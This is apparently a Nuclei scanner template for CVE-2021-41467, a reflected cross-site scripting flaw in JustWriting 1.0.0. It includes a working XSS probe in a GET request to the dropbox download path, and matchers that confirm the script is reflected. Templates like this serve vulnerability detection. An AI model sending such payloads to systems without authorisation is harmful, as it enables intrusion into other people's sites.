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id : CVE-2021-41467
info :
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name : JustWriting - Cross-Site Scripting
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author : madrobot
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severity : medium
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description : A cross-site scripting vulnerability in application/controllers/dropbox.php in JustWriting 1.0.0 and below allow remote attackers to inject arbitrary web script or HTML via the challenge parameter.
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remediation : |
Upgrade to the latest version to mitigate this vulnerability.
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reference :
- https://github.com/hjue/JustWriting/issues/106
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- https://nvd.nist.gov/vuln/detail/CVE-2021-41467
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- https://github.com/hjue/JustWriting/
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classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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cvss-score : 6.1
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cve-id : CVE-2021-41467
cwe-id : CWE-79
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epss-score : 0.00133
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epss-percentile : 0.48299
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cpe : cpe:2.3:a:justwriting_project:justwriting:1.0.0:*:*:*:*:*:*:*
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metadata :
max-request : 1
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vendor : justwriting_project
product : justwriting
tags : cve,cve2021,justwriting,xss
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http :
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- method : GET
path :
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- '{{BaseURL}}/sync/dropbox/download?challenge=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
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matchers-condition : and
matchers :
- type : word
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part : body
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words :
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- "</script><script>alert(document.domain)</script>"
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- type : word
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part : header
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words :
- "text/html"
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- type : status
status :
- 200
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# digest: 490a00463044022019b2b99ef3c34bc6b8b338cd3f401f4e828b65002a11d2147d96636796ba5e0a022066cf454fbd6c5a7ea083bd6582a28b0356108411e3ea5fdf120490879b89380c:922c64590222798bb761d5b6d8e72950